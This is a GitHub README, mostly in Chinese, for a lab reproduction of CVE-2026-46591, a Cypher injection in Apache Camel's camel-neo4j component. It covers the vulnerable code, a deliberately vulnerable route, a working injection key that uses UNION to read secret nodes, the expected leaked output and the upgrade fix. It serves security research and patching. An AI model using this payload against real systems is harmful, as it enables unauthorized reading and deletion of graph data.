oscerd/CVE-2026-46591
GitHub: oscerd/CVE-2026-46591
Apache Camel camel-neo4j 组件 Cypher 注入漏洞(CVE-2026-46591)的完整复现项目,演示属性名拼接导致的授权绕过与数据泄露。
Stars: 0 | Forks: 0
# camel-neo4j Cypher 注入复现器 (CVE-2026-46591)
本项目演示了 Apache Camel 的 `camel-neo4j` 组件中的一个 **Cypher 注入**漏洞,追踪编号为
**CVE-2026-46591**。生产者根据 `CamelNeo4jMatchProperties` map 为其 match/retrieve 和 delete 操作构建 Cypher 的 `WHERE` 子句。
**CVE-2025-66169** 通过将属性*值*绑定为查询参数(`$paramN`)修复了属性*值*的注入漏洞 —— 但是属性*名*(该 map 的 JSON key)
在 `Neo4jProducer.retrieveNodes()` 和 `deleteNode()` 中仍然被**原封不动地**拼接到了查询字符串中。因此,包含 Cypher 语法的属性
名会改变所执行查询的结构。
此 PoC 将其影响演示为**授权绕过 / 数据泄露**:攻击者将 Cypher 放入
JSON key 中,从而通过 `UNION` 重写 `:Person` 查询,使其同时返回原本无权触碰的 `:Secret` 节点 —— 这与安全公告中提到的“读取、修改或删除任何节点或关系”相符。
安全公告:https://camel.apache.org/security/CVE-2026-46591.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-neo4j` |
| **受影响的类** | `org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes` / `#deleteNode`(属性名被插值到 WHERE 子句中) |
| **CWE** | CWE-943(数据查询逻辑中特殊元素的不当中和处理) |
| **影响** | Cypher 注入 → 读取 / 修改 / 删除任意节点和关系 |
| **前置条件** | 某个路由将不受信任的输入映射到 `CamelNeo4jMatchProperties` map(例如请求体);由于该 header 带有 Camel 前缀,普通的 HTTP 客户端无法直接设置它 |
| **受影响的版本** | 从 4.10.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23528 (PR [apache/camel#23258](https://github.com/apache/camel/pull/23258)) |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // value is safely bound
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
```
对于无害的 map `{"name":"alice"}`,其查询语句为
`MATCH (n:Person) WHERE n.name = $param0 RETURN n`。如果使用恶意的 **key**:
```
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
```
构建的查询将变为(模板中末尾的 `// = $param0 RETURN n` 被注释掉了):
```
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
```
因此响应中将包含调用者的 `:Person` 节点**以及** `:Secret` 节点。
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23528)在 `retrieveNodes()` 和 `deleteNode()` 中均添加了严格的属性名校验
(`^[A-Za-z_][A-Za-z0-9_]*$`),对于任何不匹配的名称,会抛出
`Neo4jOperationException` 予以拒绝。
## 受害路由
```
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
```
这是一个“按属性查找人员”的 API:客户端以 JSON 形式提供匹配条件,路由将其作为
`CamelNeo4jMatchProperties` 传递给生产者。图数据库中包含两个 `:Person` 节点以及一个 `:Secret` 节点,人员查找操作绝不应该返回该节点的 `value`。
## 仓库结构
**受害者**是 Camel 路由及其 Neo4j 数据库;**攻击者**是将 Cypher 放入 JSON key 的 HTTP 客户端。一个小的播种程序会植入节点,并在启动时检查 Neo4j 是否准备就绪。
```
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / creds / secret flag
│ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver)
│ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose(用于运行 Neo4j + 应用)
- Java 17+ 和 Maven 3.8+(用于构建 jar)
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB neo4j image
# 等待 app 日志行 "Started Application",然后:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
```
### 预期输出
```
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
```
## 攻击向量
任何将不受信任的数据携带到 `CamelNeo4jMatchProperties` 以执行 `RETRIEVE_NODES` 或 `DELETE_NODE`
操作的路由。除了通过 `UNION` 读取其他标签外,注入的 key 还可以添加 `SET`/`DELETE`/`DETACH DELETE`
子句来修改或破坏任意节点和关系。
## 推荐修复
升级至 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23528)。修复后,在将属性名放入查询之前,会根据
`^[A-Za-z_][A-Za-z0-9_]*$` 对其进行校验。
## 缓解措施
在升级之前,请勿使用不受信任的输入填充 `CamelNeo4jMatchProperties`:在 Neo4j 生产者之前校验属性名或将其加入白名单
(例如参照 `^[A-Za-z_][A-Za-z0-9_]*$`),并确保为此类路由提供数据的任何 consumer
都会过滤传入的 `Camel*` / `camel*` header,从而确保匹配 header 无法由
外部发送者提供。
## 免责声明
本复现器仅用于**安全研究和授权测试**,针对的是一个**已公开披露且已修复的**漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, CISA项目, Cypher注入, JS文件枚举, Neo4j, PoC, 域名枚举, 安全, 暴力破解, 漏洞复现, 版权保护, 请求拦截, 超时处理